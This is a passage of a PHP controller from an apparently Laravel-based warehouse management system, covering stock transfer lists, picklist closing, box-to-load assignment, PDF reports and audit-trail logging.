$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('stock_transfer/MTSReceiving'). $this->setURL();
$this->data['params'] = explode(',', Input::get('so_no'));
$this->data['info'] = StoreReturn::getInfoBySoNo($this->data['params']);
$this->layout->content = View::make('store_return.assignToPiler', $this->data);
}
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
public function getSOList()
{
$this->data = Lang::get('store_return');
$mts_number = Input::get('mts_number', null);
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['url_detail'] = URL::to('store_return/mts_receiving_detail'.$this->setURL(true));
$this->data['url_assign'] = URL::to('store_return/assign');
$this->data['url_export'] = URL::to('stock_transfer/discrepansymts');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['url_export'] = URL::to('stock_transfer/discrepansymts');
$this->data['po_info'] = Store::lists( 'store_name','store_name');
$this->data['stock_piler_list'] = $this->getStockPilers();
// Search filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_date_entry = Input::get('filter_date_entry',null);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_store_name = Input::get('filter_store_name', null);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$sort = Input::get('sort');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'filter_store_name' => $filter_store_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturn::getStockTransferList($arrParams)->toArray();
$results_total = StoreReturn::getStockTransferList($arrParams, TRUE);
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'sort' => $sort,
'order' => $order
);
$this->data['stocktranferLIST'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['stocktranferLIST']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_date_entry'] = $filter_date_entry;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_store_name=' . $filter_store_name;
$url .= '&filter_date_entry=' . $filter_date_entry;
$url .= '&page=' . $page;
$this->layout->content = View::make('store_return/stocktransfer', $this->data);
}
public function getdiscrepancymts()
{
$this->data = Lang::get('store_return');
$this->data['url_exportpdf'] = URL::to('stock_transfer/discrepansyPdffile');
$this->data['url_exportexcel'] = URL::to('stock_transfer/discrepansyExcelfile');
// Search filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_date_entry = Input::get('filter_date_entry',null);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_store_name = Input::get('filter_store_name', null);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$sort = Input::get('sort');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'filter_store_name' => $filter_store_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturn::getSOListReport($arrParams);
$results_total = StoreReturn::getSOListReport($arrParams, TRUE);
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'sort' => $sort,
'order' => $order
);
$this->data['stocktranferdisc'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['stocktranferdisc']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_date_entry'] = $filter_date_entry;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_store_name=' . $filter_store_name;
$url .= '&filter_date_entry=' . $filter_date_entry;
$url .= '&page=' . $page;
$this->layout->content = View::make('store_return/discrepancymts', $this->data);
}
public function getdiscrepancypick()
{
$this->data = Lang::get('store_return');
$this->data['url_exportpdf'] = URL::to('stock_transfer/exportCSVpickingreport');
$this->data['url_exportexcel'] = URL::to('stock_transfer/export_excel_file');
// Search filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_date_entry = Input::get('filter_date_entry',null);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_store_name = Input::get('filter_store_name', null);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$sort = Input::get('sort');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'filter_store_name' => $filter_store_name,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturnPickinglist::getStocktransferPickReport($arrParams)->toArray();
$results_total = StoreReturnPickinglist::getStocktransferPickReport($arrParams, TRUE);
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_date_entry' => $filter_date_entry,
'sort' => $sort,
'order' => $order
);
$this->data['asdfdiscrepancy'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['asdfdiscrepancy']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_date_entry'] = $filter_date_entry;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_store_name=' . $filter_store_name;
$url .= '&filter_date_entry=' . $filter_date_entry;
$url .= '&page=' . $page;
$this->layout->content = View::make('store_return/pick_discrepancy', $this->data);
}
public function getStockTLnumberPosted()
{
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data = lang::get('store_return');
$this->data['text_select'] =Lang::get('general.text_select');
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['po_info'] = Store::lists( 'store_name','store_code');
$this->data['url_back'] = URL::to('stocktransfer/stocktranferload'. $this->setURL(true));
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_doc_no_pick = Input::get('filter_doc_no_pick', null);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$filter_action_date = Input::get('filter_action_date', NULL);
$loadnumber = Input::get('loadnumber', null);
$pilername = Input::get('pilername', Null);
$created_at = Input::get('created_at', Null);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_store_name' => $filter_store_name,
'filter_doc_no_pick' => $filter_doc_no_pick,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Box::getLoadNumberstock( $arrParams)->toArray();
$results_total = Box::getLoadNumberstock( $arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store_name' => $filter_store_name,
'filter_doc_no_pick' => $filter_doc_no_pick,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order
);
$this->data['picklist'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['picklist']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_doc_no_pick'] = $filter_doc_no_pick;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_action_date'] = $filter_action_date;
$this->data['loadnumber'] =$loadnumber;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['pilername'] = $pilername;
$this->data['loadnumber'] = $loadnumber;
$this->data['created_at'] =$created_at;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store. '&filter_store_name='.$filter_store_name;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_action_date=' . $filter_action_date;
$url .= '&page=' . $page;
$this->layout->content = View::make('store_return/assign_TL_number_posted', $this->data);
}
public function StoreReturnTLnumbersync()
{
StoreReturn::getStoreReturnTLnumbersync();
return Redirect::to('stock_transfer/MTSReceiving'.$this->setURL())->with('message','Sync To Mobile Successfully');
}
public function StoreReturnPickingandPackTLnumbersync()
{
StoreReturnPickinglist::getStoreReturnPickandPackTLnumbersync();
return Redirect::to('stocktransfer/PickAndPackStore'.$this->setURL())->with('message','Sync To Mobile Successfully');
}
public function closePickliststockreceiving()
{
$tl_number =Input::get('tl_number', null);
$picklist = StoreReturn::updateStatusstocktransfer($tl_number);
return Redirect::to('stock_transfer/MTSReceiving' . $this->setURL())->with('message', Lang::get('store_return.text_success_postedstocktransfer'));
}
public function closePickliststockpicking()
{
$tl_number = Input::get('tl_number',null);
$picklist = StoreReturnPickinglist::getStoreReturnPickandPackTLnumbersyncclose($tl_number);
return Redirect::to('stocktransfer/PickAndPackStore' . $this->setURL())->with('message', Lang::get('store_return.text_success_postedstocktransferasdf'));
}
public function getCSVUnlistedReportMTS()
{
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$results = StoreReturn::getStocktransferPickUnlistedReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_return.report_mts_unlisted', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('stock_transfer_mts_unlisted_' . date('Ymd') . '.pdf');
}
public function assignStockTransferStoreForm ()
{
$mts_number = Input::get('mts_number', null);
$filter_load_code = Input::get('filter_load_code', NULL);
$filter_assigned_to_user_id = Input::get('filter_assigned_to_user_id', NULL);
$filter_ship_at = Input::get('filter_ship_at', NULL);
$sort = Input::get('sort', 'load_code');
$order = Input::get('order', 'DESC');
$page = Input::get('page', 1);
$this->data = Lang::get('box');
$this->data['load_code'] = Input::get('load_code');
$this->data['params'] = explode(',', Input::get('load_code'));
$this->data['info'] = Load::getInfoLoad($this->data['params']);
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['filter_assigned_to_user_id'] = $filter_assigned_to_user_id;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['mts_number'] = $mts_number;
//$this->layout->content = View::make('loads.shipping_assign_piler', $this->data);
// $this->layout->content = View::make('box.assign_piler_form', $this->data);
//return Redirect::to('store_return/fromstore');
$this->layout->content = View::make('store_return/fromstore', $this->data);
}
public function getlist1()
{
$arrPO = explode(',', Input::get("tlnumber"));
$loadnumber = Input::get('loadnumber', null);
$tlnumber = Input::get('tlnumber', null);
foreach ($arrPO as $assignTL) {
Box::assignToTLstock($assignTL, $loadnumber);
Box::assignToTLnumberboxstock($assignTL, $loadnumber);
/* $users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
*/
$data_before = '';
$data_after ='Box no. : ' . $tlnumber . ', Assigned to Pell no. : ' . $loadnumber;
$arrParams = array(
'module' => Config::get("audit_trail_modules.subloc_loading"),
'action' => Config::get('audit_trail.assign_load'),
'reference' => 'Box no. : '. $tlnumber,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
return Redirect::to('stocktransfer/stocktranferload'. $this->setURL())->with('message', "Succefully Assigned in Load Number!");
}
public function getStockTransferLoadnumberAssign()
{
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_jda'] = Lang::get('general.button_jda');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
// URL
$this->data['url_export'] = URL::to('box/export_detail');
$this->data['url_back'] = URL::to('stocktransfer/stocktranferload'. $this->setURL(true));
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['po_info'] = Store::lists( 'store_name','store_code');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$box_code = Input::get('box_code', NULL);
$this->data['Contentbox'] = box::getboxcontent($box_code);
// Search Filters
$filter_sku = Input::get('filter_sku', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_doc_no = Input::get('filter_doc_no', null);
$filter_box_code = Input::get('filter_box_code', null);
$filter_store_name = Input::get('filter_store_name', NULL);
$load_code = Input::get('load_code', null);
$filter_load_code = Input::get('filter_load_code', NULL);
$sort_back = Input::get('sort_back' );
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort' );
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$box_id = Input::get('id', NULL);
// $this->data['letdown_info'] = Letdown::getLetDownInfo($letdown_id);
$box_code = Input::get('box_code', NULL);
$loadnumber = Input::get('loadnumber', null);
$pilername = Input::get('pilername', null);
$data_value =Input::get('data_value', null);
$arrParams = array(
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'filter_sku' => $filter_sku,
'filter_store' => $filter_store,
'filter_store_name' => $filter_store_name,
'filter_box_code' => $filter_box_code,
'filter_doc_no' => $filter_doc_no,
'filter_load_code' => $filter_load_code,
'limit' => 30
);
// dd($box_code);
$results = LoadDetails::getStocktransferLoadList($loadnumber, $arrParams);
// DebugHelper::log(__METHOD__, $results);
$results_total = LoadDetails::getStocktransferLoadList($loadnumber, $arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_store' => $filter_store,
'filter_load_code' => $filter_load_code,
'filter_store_name' => $filter_store_name,
'filter_doc_no' => $filter_doc_no,
'filter_box_code' => $filter_box_code,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'filter_sku' => $filter_sku,
// 'filter_slot' => $filter_slot,
'sort' => $sort_detail,
'order' => $order_detail,
'id' => $box_id
);
$this->data['boxesdetails'] = Paginator::make($results, $results_total, 30);
$this->data['boxes_count'] = $results_total;
$this->data['counter'] = $this->data['boxesdetails']->getFrom();
$this->data['box_id'] = $box_id;
$this->data['box_code'] = $box_code;
// Main
//$this->data['load_code'] = $load_code;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_store'] = $filter_store;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['filter_load_code'] = $filter_load_code;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$this->data['loadnumber'] = $loadnumber;
$this->data['pilername'] = $pilername;
$this->data['data_value'] =$data_value;
$this->data['box_code'] =$box_code;
// Details
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$this->layout->content = View::make('store_return.openTL', $this->data);
}
public function getremoved()
{
$arrPO = explode(',', Input::get("tlnumber"));
$loadnumber = Input::get('loadnumber', null);
$tlnumber = Input::get('tlnumber', null);
foreach ($arrPO as $assignTL) {
Box::getremovedTLUpdatestock($assignTL, $loadnumber);
Box::getremovedTLstock($assignTL, $loadnumber);
$data_before = '';
$data_after = 'Box number : ' . $tlnumber .', Pell number : '. $loadnumber; // ', assign by : ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get('audit_trail_modules.subloc_loading'),
'action' => Config::get('audit_trail.assign_remove'),
'reference' => 'Remove Box no. : '. $tlnumber. ', ',
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
}
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('stocktransfer/stocktranferload'. $this->setURL())->with('message', "Succefully Remove Box Number!");
}
public function getCSVPickingReport() {
///Check Permissions
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_doc_no' => $filter_doc_no,
'filter_created_at' => $filter_created_at,
'limit' => NULL
);
$results = StoreReturnPickinglist::getStocktransferPickReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_return.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('stock_transfer_picking_report_' . date('Ymd') . '.pdf');
}
public function printBoxLabelstock($doc_num)
{
// Search Filters
$this->data = lang::get('store_return');
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_box_code = Input::get('filter_box_code', null);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::previous();
$this->data['doc_num'] = $doc_num;
$this->data['records'] = StoreReturnPickinglist::getPicklistBoxes($doc_num);
$this->data['storelocation'] = StoreReturnPickinglist::getStorelocation($doc_num);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('store_return.box_list_details', $this->data);
}
public function PickAndPackStore ()
{
$this->data =Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['url_back'] = $this->setURL();
$this->data['url_detail'] = URL::to('stocktransfer/MTSpickdetails' . $this->setURL(true));
$this->data['url_assign'] = URL::to('stock_transfer/assignpicking');
$this->data['url_export'] =URL::to('stock_transfer/discrepansypick');
/*$this->data['url_export'] =URL::to('stock_transfer/exportCSVpickingreport');*/
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
$this->data['po_info'] = Store::lists( 'store_name','store_name');
// $this->data['url_load'] = URL::to('picking/load');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['pl_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
$this->data['stock_piler_list'] = $this->getStockPilers();
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$filter_action_date = Input::get('filter_action_date', NULL);
$sort = Input::get('sort');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_store_name' => $filter_store_name,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = StoreReturnPickinglist::getStocktransferPickingListv2($arrParams)->toArray();
$results_total = StoreReturnPickinglist::getStocktransferPickingListv2($arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_store_name' => $filter_store_name,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order
);
$this->data['picklist'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['picklist']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_store_name'] = $filter_store_name;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_action_date'] = $filter_action_date;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_store_name='.$filter_store_name;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_action_date=' . $filter_action_date;
$url .= '&page=' . $page;
$order_doc_no = ($sort=='doc_no' && $order=='ASC') ? 'DESC' : 'ASC';
$this->layout->content = View::make('store_return/picking_packing_store', $this->data);
}
public function closePickliststock()
{
$docNo = Input::get("doc_no");
$boxcode =Input::get('boxcode');
$status = 'posted'; // closed
$date_updated = date('Y-m-d H:i:s');
$status_options = Dataset::where("data_code", "=", "PICKLIST_STATUS_TYPE")->get()->lists("id", "data_value");
$picklist = Picklist::updateStatus($docNo, $status_options['closed']);
Picklist::getpostedtoStore($docNo,$boxcode);
/*Pic klist::getpos tedtoBo xOrder($ doc No);*/
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'Picklist Document No: ' . $docNo . ' posted by ' . $user->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.modify_picklist_status"),
'reference' => $docNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
// jda syncing
$picklistParams = array(
'module' => Config::get('transactions.module_picklist'),
'jda_action' => Config::get('transactions.jda_action_picklist'),
'reference' => $docNo
);
//create jda transaction for picklist closing
$isSuccess = JdaTransaction::insert($picklistParams);
Log::info(__METHOD__ .' dump: '.print_r($docNo,true));
// run daemon command: php app/cron/jda/classes/picklist.php
if( $isSuccess )
{
$daemon = "classes/picklist.php {$docNo}";
CommonHelper::execInBackground($daemon,'picklist');
}
return Redirect::to('picking/list' . $this->setURL())->with('message', Lang::get('picking.text_success_posted'));
}
public function getMTSpickpackdetails ()
{
$picklistDoc = Input::get('picklist_doc', NULL);
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['url_back'] = URL::to('picking/list' . $this->setURL(false, true));
$this->data['url_detail'] = URL::to('stocktransfer/MTSpickdetails' . $this->setURL(true));
$this->data['pick_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
//added this because there is not closed in the detail
unset($this->data['pick_status_type'][2]);
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_sku = Input::get('filter_sku', NULL);
